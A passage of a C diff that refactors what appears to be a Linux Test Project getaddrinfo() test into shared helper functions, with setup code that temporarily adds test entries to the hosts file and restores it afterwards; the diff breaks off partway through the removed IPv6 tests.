-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
+		if (p->ai_addr) {
 
-		gaiv4();
-		gaiv6();
+			if (test_cb)
+				ret |= test_cb(p);
+
+			if (p->ai_family == AF_INET) {
+				struct sockaddr_in *psin;
+
+				psin = (struct sockaddr_in *)p->ai_addr;
+				sin_family = psin->sin_family;
+				sin_port = psin->sin_port;
+			} else {
+				struct sockaddr_in6 *psin6;
+
+				psin6 = (struct sockaddr_in6 *)p->ai_addr;
+				sin_family = psin6->sin6_family;
+				sin_port = psin6->sin6_port;
+			}
+
+			ret |= sin_family != family;
+			ret |= sin_port != htons(servnum);
+		}
+
+		if (ret)
+			break;
 	}
 
-	tst_exit();
+	if (!sock_type && (!got_tcp || !got_udp)) {
+		tst_brk(TFAIL, "socktype 0,%d TCP %d UDP %d",
+			htons(sin_port), got_tcp, got_udp);
+	}
+
+	if (ret) {
+		tst_brk(TFAIL, "family %d alen %d sin family %d port %d",
+			p->ai_family, p->ai_addrlen, sin_family,
+			htons(sin_port));
+	}
 }
 
+static void print_test_family(const char *name)
+{
+	tst_res(TINFO, "test %s: %s", (family == AF_INET) ? "IPv4" : "IPv6",
+		name);
+}
+
+static void check_addrinfo(int safe, const char *name, const char *host,
+			   in_port_t servnum, const char *service,
+			   int flags, int type, int proto,
+			   int (*test_cb)(struct addrinfo *))
+{
+	struct addrinfo *res = NULL;
+	struct addrinfo hints;
+
+	print_test_family(name);
+
+	memset(&hints, 0, sizeof(hints));
+	hints.ai_family = family;
+	hints.ai_flags = flags;
+	hints.ai_socktype = type;
+	hints.ai_protocol = proto;
+
+	if (safe)
+		SAFE_GETADDRINFO(host, service, &hints, &res);
+	else
+		TEST(getaddrinfo(host, service, &hints, &res));
+
+	if (res) {
+		verify_res(res, type, servnum, test_cb);
+		freeaddrinfo(res);
+		tst_res(TPASS, "%s", name);
+	}
+}
+
+static void check_addrinfo_name(const char *name)
+{
+	struct addrinfo *p, *res;
+	struct addrinfo hints;
+
+	print_test_family(name);
+
+	memset(&hints, 0, sizeof(hints));
+	hints.ai_family = family;
+	hints.ai_flags = AI_CANONNAME;
+
+	SAFE_GETADDRINFO(shortname, 0, &hints, &res);
+
+	for (p = res; p; p = p->ai_next) {
+		if (p->ai_canonname)
+			break;
+	}
+	if (!p)
+		tst_brk(TFAIL, "%s: no entries with canonical name set", name);
+	else if (strcasecmp(hostname, p->ai_canonname))
+		tst_brk(TFAIL, "%s: ai_canonname '%s' doesn't match hostname '%s'",
+			name, p->ai_canonname, hostname);
+
+	tst_res(TPASS, "%s: ai_canonname '%s'", name, p->ai_canonname);
+	freeaddrinfo(res);
+}
+
+static void check_addrinfo_badflags(const char *name)
+{
+	if (TST_RET == EAI_BADFLAGS) {
+		tst_res(TPASS, "%s returns %ld '%s'", name,
+			TST_RET, gai_strerror(TST_RET));
+	} else if (TST_RET) {
+		tst_brk(TFAIL, "%s returns %ld '%s'", name,
+			TST_RET, gai_strerror(TST_RET));
+	}
+}
+
+static int test_loopback(struct addrinfo *p)
+{
+	/* hostname not set; addr should be loopback */
+	if (family == AF_INET) {
+		struct sockaddr_in *psin = (struct sockaddr_in *)p->ai_addr;
+
+		return psin->sin_addr.s_addr != htonl(INADDR_LOOPBACK);
+	} else {
+		struct sockaddr_in6 *psin6 = (struct sockaddr_in6 *)p->ai_addr;
+
+		return memcmp(&psin6->sin6_addr, &in6addr_loopback,
+		       sizeof(struct in6_addr)) != 0;
+	}
+}
+
+static int test_passive(struct addrinfo *p)
+{
+	if (family == AF_INET) {
+		struct sockaddr_in *psin = (struct sockaddr_in *)p->ai_addr;
+
+		return psin->sin_addr.s_addr == 0;
+	} else {
+		struct sockaddr_in6 *psin6 = (struct sockaddr_in6 *)p->ai_addr;
+
+		return memcmp(&psin6->sin6_addr, &in6addr_any,
+			      sizeof(struct in6_addr)) == 0;
+	}
+}
+
+static int test_passive_no_host(struct addrinfo *p)
+{
+	if (family == AF_INET) {
+		struct sockaddr_in *psin = (struct sockaddr_in *)p->ai_addr;
+
+		return psin->sin_addr.s_addr != 0;
+	} else {
+		struct sockaddr_in6 *psin6 = (struct sockaddr_in6 *)p->ai_addr;
+
+		return memcmp(&psin6->sin6_addr, &in6addr_any,
+			      sizeof(struct in6_addr));
+	}
+}
+
+static void gaiv(void)
+{
+	check_addrinfo(1, "basic lookup", hostname, 0, NULL, 0, 0, 0, NULL);
+	check_addrinfo_name("canonical name");
+
+	/*
+	 * These are hard-coded for echo/7 to avoid using getservbyname(),
+	 * since it isn't thread-safe and these tests may be re-used
+	 * multithreaded. Sigh.
+	 */
+	check_addrinfo(1, "host+service", hostname, 7, "echo", 0, 0, 0, NULL);
+
+	check_addrinfo(1, "host+service, AI_PASSIVE", hostname, 9462, "9462",
+		       AI_PASSIVE, SOCK_STREAM, 0, test_passive);
+
+	check_addrinfo(0, "host+service, AI_NUMERICHOST", hostname, 7, "echo",
+		       AI_NUMERICHOST, SOCK_STREAM, 0, NULL);
+	if (TST_RET != EAI_NONAME)
+		tst_brk(TFAIL, "AI_NUMERICHOST: ret %ld exp %d (EAI_NONAME)",
+			TST_RET, EAI_NONAME);
+	tst_res(TPASS, "AI_NUMERICHOST: expected %ld (EAI_NONAME)", TST_RET);
+
+	check_addrinfo(1, "0+service, AI_PASSIVE", NULL, 9462, "9462",
+		       AI_PASSIVE, SOCK_STREAM, 0, test_passive_no_host);
+
+	check_addrinfo(0, "0+service", NULL, 9462, "9462",
+		       0, SOCK_STREAM, 0, test_loopback);
+	check_addrinfo_badflags("0+service ('', '9462')");
+
+#ifdef AI_NUMERICSERV
+	check_addrinfo(0, "host+service, AI_NUMERICSERV", hostname, 7, "echo",
+		       AI_NUMERICSERV, 0, 0, NULL);
+	if (TST_RET != EAI_NONAME)
+		tst_brk(TFAIL, "AI_NUMERICSERV: returns %ld '%s', expected %d (EAI_NONAME)",
+			TST_RET, gai_strerror(TST_RET), EAI_NONAME);
+	tst_res(TPASS, "AI_NUMERICSERV: returns %ld (EAI_NONAME)", TST_RET);
+#else
+	tst_res(TCONF, "AI_NUMERICSERV: flag not implemented");
+#endif
+
+	check_addrinfo(0, "SOCK_STREAM/IPPROTO_UDP", NULL, 0, NULL, 0,
+		       SOCK_STREAM, IPPROTO_UDP, NULL);
+	if (!TST_RET)
+		tst_brk(TFAIL, "SOCK_STREAM/IPPROTO_UDP: unexpected pass");
+	tst_res(TPASS, "SOCK_STREAM/IPPROTO_UDP: failed as expected");
+
+	check_addrinfo(0, "socktype 0,513", NULL, 513, "513", 0, 0, 0, NULL);
+	check_addrinfo_badflags("socktype 0,513");
+
+	check_addrinfo(1, "AI_V4MAPPED", NULL, 513, "513",
+		       AI_V4MAPPED, 0, 0, NULL);
+}
+
+static struct tcase {
+	sa_family_t family;
+	const char *const addr;
+	const char *const name;
+	const char *const alias;
+} tcases[] = {
+	{ AF_INET, "127.0.127.1", "getaddrinfo01.ltp", "getaddrinfo01-ipv4" },
+	{ AF_INET6, "::127", "getaddrinfo01.ipv6.ltp", "getaddrinfo01-ipv6" }
+};
+
 static void setup(void)
 {
-	TEST_PAUSE;
+	unsigned int i;
+	int fd;
+
+	if (access(host_file, W_OK))
+		tst_brk(TCONF | TERRNO, "%s file not available", host_file);
+
+	SAFE_CP(host_file, "hosts");
+
+	host_file_changed = 1;
+	fd = SAFE_OPEN(host_file, O_WRONLY|O_APPEND);
+
+	for (i = 0; i < ARRAY_SIZE(tcases); ++i) {
+		char *entry;
+
+		SAFE_ASPRINTF(&entry, "%s %s %s\n",
+			      tcases[i].addr, tcases[i].name, tcases[i].alias);
+		SAFE_WRITE(0, fd, entry, strlen(entry));
+		free(entry);
+	}
+	SAFE_CLOSE(fd);
 }
 
-/* getaddrinfo tests (v4) */
-static void gaiv4(void)
+static void cleanup(void)
 {
-	struct addrinfo *aires, hints, *pai;
-	char hostname[MAXHOSTNAMELEN + 1];
-	char shortname[MAXHOSTNAMELEN + 1];
-	char service[NI_MAXSERV + 1];
-	int servnum;
-	char *p;
-
-	if (gethostname(hostname, sizeof(hostname)) < 0)
-		tst_brkm(TBROK | TERRNO, NULL, "gethostname failed");
-	strncpy(shortname, hostname, MAXHOSTNAMELEN);
-	shortname[MAXHOSTNAMELEN] = '\0';
-	p = strchr(shortname, '.');
-	if (p)
-		*p = '\0';
-
-	/* test 1, IPv4 basic lookup */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET;
-	TEST(getaddrinfo(hostname, 0, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in *psin = 0;
-		int err = 0;
-
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in);
-			err |= pai->ai_addr == 0;
-			psin = (struct sockaddr_in *)pai->ai_addr;
-			if (pai->ai_addr) {
-				err |= psin->sin_family != AF_INET;
-				err |= psin->sin_port != 0;
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv4 basic lookup: "
-				 "fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin,
-				 psin ? psin->sin_family : 0,
-				 psin ? psin->sin_port : 0,
-				 psin ? htons(psin->sin_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv4 basic lookup");
-		freeaddrinfo(aires);
-	} else {
-		tst_resm(TFAIL, "getaddrinfo IPv4 basic "
-			 "lookup (\"%s\") returns %ld (\"%s\")", hostname,
-			 TEST_RETURN, gai_strerror(TEST_RETURN));
-		return;
-	}
-
-	/* test 2, IPv4 canonical name */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET;
-	hints.ai_flags = AI_CANONNAME;
-	TEST(getaddrinfo(shortname, 0, &hints, &aires));
-	if (!TEST_RETURN) {
-		for (pai = aires; pai; pai = pai->ai_next)
-			if (pai->ai_canonname)
-				break;
-		if (!pai) {
-			tst_resm(TFAIL, "getaddrinfo IPv4 canonical name: no "
-				 "entries with canonical name set");
-			freeaddrinfo(aires);
-			return;
-		} else if (strcasecmp(hostname, pai->ai_canonname)) {
-			tst_resm(TFAIL, "getaddrinfo IPv4 canonical name "
-				 "(\"%s\") doesn't match hostname (\"%s\")",
-				 pai->ai_canonname, hostname);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv4 canonical name");
-		freeaddrinfo(aires);
-	} else {
-		tst_resm(TFAIL, "getaddrinfo IPv4 "
-			 "canonical name (\"%s\") returns %ld (\"%s\")",
-			 shortname, TEST_RETURN, gai_strerror(TEST_RETURN));
-		return;
-	}
-
-	/* test 3, IPv4 host+service name */
-	memset(&hints, 0, sizeof(hints));
-	/*
-	 * These are hard-coded for echo/7 to avoid using getservbyname(),
-	 * since it isn't thread-safe and these tests may be re-used
-	 * multithreaded. Sigh.
-	 */
-	strcpy(service, "echo");
-	servnum = 7;
-	hints.ai_family = AF_INET;
-	TEST(getaddrinfo(hostname, service, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in *psin = 0;
-		int err = 0;
-
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in);
-			err |= pai->ai_addr == 0;
-			psin = (struct sockaddr_in *)pai->ai_addr;
-			if (pai->ai_addr) {
-				err |= psin->sin_family != AF_INET;
-				err |= psin->sin_port != htons(servnum);
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv4 host+service: "
-				 "fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin,
-				 psin ? psin->sin_family : 0,
-				 psin ? psin->sin_port : 0,
-				 psin ? htons(psin->sin_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv4 host+service");
-		freeaddrinfo(aires);
-	} else {
-		tst_resm(TFAIL, "getaddrinfo IPv4 host+"
-			 "service returns %ld (\"%s\")", TEST_RETURN,
-			 gai_strerror(TEST_RETURN));
-		return;
-	}
-
-	/* test 4, IPv4 hostname+service, AI_PASSIVE */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET;
-	hints.ai_flags = AI_PASSIVE;
-	hints.ai_socktype = SOCK_STREAM;
-	strcpy(service, "9462");
-	servnum = htons(9462);
-	TEST(getaddrinfo(hostname, service, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in *psin = 0;
-		int err = 0;
-
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in);
-			err |= pai->ai_addr == 0;
-			psin = (struct sockaddr_in *)pai->ai_addr;
-			if (pai->ai_addr) {
-				/* AI_PASSIVE is ignored if hostname is
-				 * non-null; address must be set
-				 */
-				err |= psin->sin_addr.s_addr == 0;
-				err |= psin->sin_family != AF_INET;
-				err |= psin->sin_port != servnum;
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv4 host+service, PASSIVE"
-				 ": fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin,
-				 psin ? psin->sin_family : 0,
-				 psin ? psin->sin_port : 0,
-				 psin ? htons(psin->sin_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv4 host+service PASSIVE");
-		freeaddrinfo(aires);
-	} else {
-		tst_resm(TFAIL, "getaddrinfo IPv4 host+"
-			 "service, PASSIVE (\"%s\", \"%s\") returns %ld (\"%s\")",
-			 hostname, service, TEST_RETURN,
-			 gai_strerror(TEST_RETURN));
-		return;
-	}
-
-	/* test 5, IPv4 host+service w/ AI_NUMERICHOST */
-	memset(&hints, 0, sizeof(hints));
-	strcpy(service, "echo");
-	servnum = 7;
-	hints.ai_family = AF_INET;
-	hints.ai_flags = AI_NUMERICHOST;
-	TEST(getaddrinfo(hostname, service, &hints, &aires));
-	if (TEST_RETURN != EAI_NONAME) {
-		tst_resm(TFAIL, "getaddrinfo IPv4 AI_NUMERICHOST w/ hostname: "
-			 "returns %ld expected %d (EAI_NONAME)",
-			 TEST_RETURN, EAI_NONAME);
-		if (!TEST_RETURN)
-			freeaddrinfo(aires);
-		return;
-	}
-	tst_resm(TPASS, "getaddrinfo IPv4 AI_NUMERICHOST w/ hostname");
-	if (!TEST_RETURN)
-		freeaddrinfo(aires);
-
-	/* test 6, IPv4 0+service, AI_PASSIVE */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET;
-	hints.ai_flags = AI_PASSIVE;
-	hints.ai_socktype = SOCK_STREAM;
-	strcpy(service, "9462");
-	servnum = htons(9462);
-	TEST(getaddrinfo(0, service, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in *psin = 0;
-		int err = 0;
-
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in);
-			err |= pai->ai_addr == 0;
-			psin = (struct sockaddr_in *)pai->ai_addr;
-			if (pai->ai_addr) {
-
-				/* AI_PASSIVE means addr must be INADDR_ANY */
-				err |= psin->sin_addr.s_addr != 0;
-				err |= psin->sin_family != AF_INET;
-				err |= psin->sin_port != servnum;
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv4 0+service, PASSIVE:"
-				 " fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin,
-				 psin ? psin->sin_family : 0,
-				 psin ? psin->sin_port : 0,
-				 psin ? htons(psin->sin_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv4 0+service, PASSIVE");
-		freeaddrinfo(aires);
-	} else {
-		if (TEST_RETURN == EAI_BADFLAGS) {
-			tst_resm(TPASS, "getaddrinfo IPv4 0+service,"
-				" PASSIVE (\"\", \"%s\") returns %ld (\"%s\")",
-				service, TEST_RETURN,
-				gai_strerror(TEST_RETURN));
-		} else {
-			tst_resm(TFAIL, "getaddrinfo IPv4 0+service,"
-				" PASSIVE (\"\", \"%s\") returns %ld (\"%s\")",
-				service, TEST_RETURN,
-				gai_strerror(TEST_RETURN));
-			return;
-		}
-	}
-
-	/* test 7, IPv4 0+service */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET;
-	hints.ai_socktype = SOCK_STREAM;
-	strcpy(service, "9462");
-	servnum = htons(9462);
-	TEST(getaddrinfo(0, service, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in *psin = 0;
-		int err = 0;
-
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in);
-			err |= pai->ai_addr == 0;
-			psin = (struct sockaddr_in *)pai->ai_addr;
-			if (pai->ai_addr) {
-				/* hostname not set; addr should be loopback */
-				err |= psin->sin_addr.s_addr !=
-				    htonl(INADDR_LOOPBACK);
-				err |= psin->sin_family != AF_INET;
-				err |= psin->sin_port != servnum;
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv4 0+service: "
-				 "fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin,
-				 psin ? psin->sin_family : 0,
-				 psin ? psin->sin_port : 0,
-				 psin ? htons(psin->sin_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv4 0+service");
-		freeaddrinfo(aires);
-	} else {
-		if (TEST_RETURN == EAI_BADFLAGS) {
-			tst_resm(TPASS, "getaddrinfo IPv4 "
-				"0+service (\"\", \"%s\") returns %ld (\"%s\")",
-				service, TEST_RETURN,
-				gai_strerror(TEST_RETURN));
-		} else {
-			tst_resm(TFAIL, "getaddrinfo IPv4 "
-				"0+service (\"\", \"%s\") returns %ld (\"%s\")",
-				service, TEST_RETURN,
-				gai_strerror(TEST_RETURN));
-			return;
-		}
-	}
-
-	/* test 8, IPv4 host+service, AI_NUMERICSERV */
-#ifndef AI_NUMERICSERV
-	tst_resm(TCONF, "getaddrinfo IPv4 host+service, AI_NUMERICSERV: flag "
-		 "not implemented");
-#else
-	memset(&hints, 0, sizeof(hints));
-	strcpy(service, "echo");
-	servnum = 7;
-	hints.ai_family = AF_INET;
-	hints.ai_flags = AI_NUMERICSERV;
-	TEST(getaddrinfo(hostname, service, &hints, &aires));
-	if (TEST_RETURN != EAI_NONAME) {
-		tst_resm(TFAIL,
-			 "getaddrinfo IPv4 host+service, AI_NUMERICSERV: "
-			 "returns %ld (\"%s\") expected %d (EAI_NONAME)",
-			 TEST_RETURN, gai_strerror(TEST_RETURN), EAI_NONAME);
-		if (!TEST_RETURN)
-			freeaddrinfo(aires);
-		return;
-	}
-	tst_resm(TPASS, "getaddrinfo IPv4 host+service, AI_NUMERICSERV");
-	if (!TEST_RETURN)
-		freeaddrinfo(aires);
-#endif /* AI_NUMERICSERV */
-
-	/* test 9, IPv4 SOCK_STREAM/IPPROTO_UDP hints */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET;
-	hints.ai_socktype = SOCK_STREAM;
-	hints.ai_protocol = IPPROTO_UDP;
-	strcpy(service, "9462");
-	servnum = htons(9462);
-	TEST(getaddrinfo(0, service, &hints, &aires));
-	if (!TEST_RETURN) {
-		tst_resm(TFAIL, "getaddrinfo IPv4 SOCK_STREAM/IPPROTO_UDP "
-			 "hints");
-		freeaddrinfo(aires);
-		return;
-	}
-	tst_resm(TPASS, "getaddrinfo IPv4 SOCK_STREAM/IPPROTO_UDP hints");
-
-	/* test 10, IPv4 socktype 0, 513 */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET;
-	hints.ai_socktype = 0;
-	strcpy(service, "513");
-	servnum = htons(513);
-	TEST(getaddrinfo(0, service, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in *psin = 0;
-		int got_tcp, got_udp;
-		int err = 0;
-
-		got_tcp = got_udp = 0;
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in);
-			err |= pai->ai_addr == 0;
-			got_tcp |= pai->ai_socktype == SOCK_STREAM;
-			got_udp |= pai->ai_socktype == SOCK_DGRAM;
-			psin = (struct sockaddr_in *)pai->ai_addr;
-			if (pai->ai_addr) {
-				/* hostname not set; addr should be loopback */
-				err |= psin->sin_addr.s_addr !=
-				    htonl(INADDR_LOOPBACK);
-				err |= psin->sin_family != AF_INET;
-				err |= psin->sin_port != servnum;
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv4 socktype 0,513: "
-				 "fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin,
-				 psin ? psin->sin_family : 0,
-				 psin ? psin->sin_port : 0,
-				 psin ? htons(psin->sin_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		} else if (got_tcp && got_udp) {
-			tst_resm(TPASS, "getaddrinfo IPv4 socktype 0,513");
-			freeaddrinfo(aires);
-		} else {
-			tst_resm(TFAIL, "getaddrinfo IPv4 socktype 0,513 TCP %d"
-				 " UDP %d", got_tcp, got_udp);
-			freeaddrinfo(aires);
-			return;
-		}
-	} else {
-		if (TEST_RETURN == EAI_BADFLAGS) {
-			tst_resm(TPASS, "getaddrinfo IPv4 socktype 0,513"
-				" (\"\", \"%s\") returns %ld (\"%s\")", service,
-				TEST_RETURN, gai_strerror(TEST_RETURN));
-		} else {
-			tst_resm(TFAIL, "getaddrinfo IPv4 socktype 0,513"
-				" (\"\", \"%s\") returns %ld (\"%s\")", service,
-				TEST_RETURN, gai_strerror(TEST_RETURN));
-			return;
-		}
-	}
-
-	/* test 11, IPv4 AI_V4MAPPED */
-	/* AI_V4MAPPED should be ignored because family != AF_INET6 */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET;
-	hints.ai_flags = AI_V4MAPPED;
-	TEST(getaddrinfo(hostname, 0, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in *psin = 0;
-		int err = 0;
-
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in);
-			err |= pai->ai_addr == 0;
-			psin = (struct sockaddr_in *)pai->ai_addr;
-			if (pai->ai_addr) {
-				err |= psin->sin_family != AF_INET;
-				err |= psin->sin_port != 0;
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv4 AI_V4MAPPED: "
-				 "fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin,
-				 psin ? psin->sin_family : 0,
-				 psin ? psin->sin_port : 0,
-				 psin ? htons(psin->sin_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv4 AI_V4MAPPED");
-		freeaddrinfo(aires);
-	} else {
-		tst_resm(TFAIL, "getaddrinfo IPv4 "
-			 "AI_V4MAPPED (\"%s\") returns %ld (\"%s\")", hostname,
-			 TEST_RETURN, gai_strerror(TEST_RETURN));
-		return;
-	}
+	if (host_file_changed)
+		SAFE_CP("hosts", host_file);
 }
 
-/* getaddrinfo tests (v6) */
-static void gaiv6(void)
+static void do_test(unsigned int i)
 {
-	struct addrinfo *aires, hints, *pai;
-	char hostname[MAXHOSTNAMELEN + 1];
-	char shortname[MAXHOSTNAMELEN + 1];
-	char service[NI_MAXSERV + 1];
-	int servnum;
-	char *p;
-
-	if (gethostname(hostname, sizeof(hostname)) < 0)
-		tst_brkm(TBROK, NULL, "gethostname failed - %s",
-			 strerror(errno));
-	strncpy(shortname, hostname, MAXHOSTNAMELEN);
-	shortname[MAXHOSTNAMELEN] = '\0';
-	p = strchr(shortname, '.');
-	if (p)
-		*p = '\0';
-
-	/* test 12, IPv6 basic lookup */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET6;
-	TEST(getaddrinfo(hostname, 0, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in6 *psin6 = 0;
-		int err = 0;
-
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET6;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in6);
-			err |= pai->ai_addr == 0;
-			psin6 = (struct sockaddr_in6 *)pai->ai_addr;
-			if (pai->ai_addr) {
-				err |= psin6->sin6_family != AF_INET6;
-				err |= psin6->sin6_port != 0;
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv6 basic lookup: "
-				 "fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin6,
-				 psin6 ? psin6->sin6_family : 0,
-				 psin6 ? psin6->sin6_port : 0,
-				 psin6 ? htons(psin6->sin6_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv6 basic lookup");
-		freeaddrinfo(aires);
-	} else {
-		tst_resm(TFAIL, "getaddrinfo IPv6 basic "
-			 "lookup (\"%s\") returns %ld (\"%s\")", hostname,
-			 TEST_RETURN, gai_strerror(TEST_RETURN));
-		return;
-	}
-
-	/* test 13, IPv6 canonical name */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET6;
-	hints.ai_flags = AI_CANONNAME;
-	TEST(getaddrinfo(shortname, 0, &hints, &aires));
-	if (!TEST_RETURN) {
-		for (pai = aires; pai; pai = pai->ai_next)
-			if (pai->ai_canonname)
-				break;
-		if (!pai) {
-			tst_resm(TFAIL, "getaddrinfo IPv6 canonical name: no "
-				 "entries with canonical name set");
-			freeaddrinfo(aires);
-			return;
-		} else if (strcasecmp(hostname, pai->ai_canonname)) {
-			tst_resm(TFAIL, "getaddrinfo IPv6 canonical name "
-				 "(\"%s\") doesn't match hostname (\"%s\")",
-				 pai->ai_canonname, hostname);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv6 canonical name");
-		freeaddrinfo(aires);
-	} else {
-		tst_resm(TFAIL, "getaddrinfo IPv6 "
-			 "canonical name (\"%s\") returns %ld (\"%s\")",
-			 shortname, TEST_RETURN, gai_strerror(TEST_RETURN));
-		return;
-	}
-
-	/* test 14, IPv6 host+service name */
-	memset(&hints, 0, sizeof(hints));
-	/*
-	 * These are hard-coded for echo/7 to avoid using getservbyname(),
-	 * since it isn't thread-safe and these tests may be re-used
-	 * multithreaded. Sigh.
-	 */
-	strcpy(service, "echo");
-	servnum = 7;
-	hints.ai_family = AF_INET6;
-	TEST(getaddrinfo(hostname, service, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in6 *psin6 = 0;
-		int err = 0;
-
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET6;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in6);
-			err |= pai->ai_addr == 0;
-			psin6 = (struct sockaddr_in6 *)pai->ai_addr;
-			if (pai->ai_addr) {
-				err |= psin6->sin6_family != AF_INET6;
-				err |= psin6->sin6_port != htons(servnum);
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv6 host+service: "
-				 "fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin6,
-				 psin6 ? psin6->sin6_family : 0,
-				 psin6 ? psin6->sin6_port : 0,
-				 psin6 ? htons(psin6->sin6_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv6 host+service");
-		freeaddrinfo(aires);
-	} else {
-		tst_resm(TFAIL, "getaddrinfo IPv6 host+"
-			 "service returns %ld (\"%s\")", TEST_RETURN,
-			 gai_strerror(TEST_RETURN));
-		return;
-	}
-
-	/* test 15, IPv6 hostname+service, AI_PASSIVE */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET6;
-	hints.ai_flags = AI_PASSIVE;
-	hints.ai_socktype = SOCK_STREAM;
-	strcpy(service, "9462");
-	servnum = htons(9462);
-	TEST(getaddrinfo(hostname, service, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in6 *psin6 = 0;
-		int err = 0;
-
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET6;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in6);
-			err |= pai->ai_addr == 0;
-			psin6 = (struct sockaddr_in6 *)pai->ai_addr;
-			if (pai->ai_addr) {
-				/* AI_PASSIVE is ignored if hostname is
-				 * non-null; address must be set
-				 */
-				err |= memcmp(&psin6->sin6_addr, &in6addr_any,
-					      sizeof(struct in6_addr)) == 0;
-				err |= psin6->sin6_family != AF_INET6;
-				err |= psin6->sin6_port != servnum;
-			}
-			if (err)
-				break;
-		}
-		if (err) {
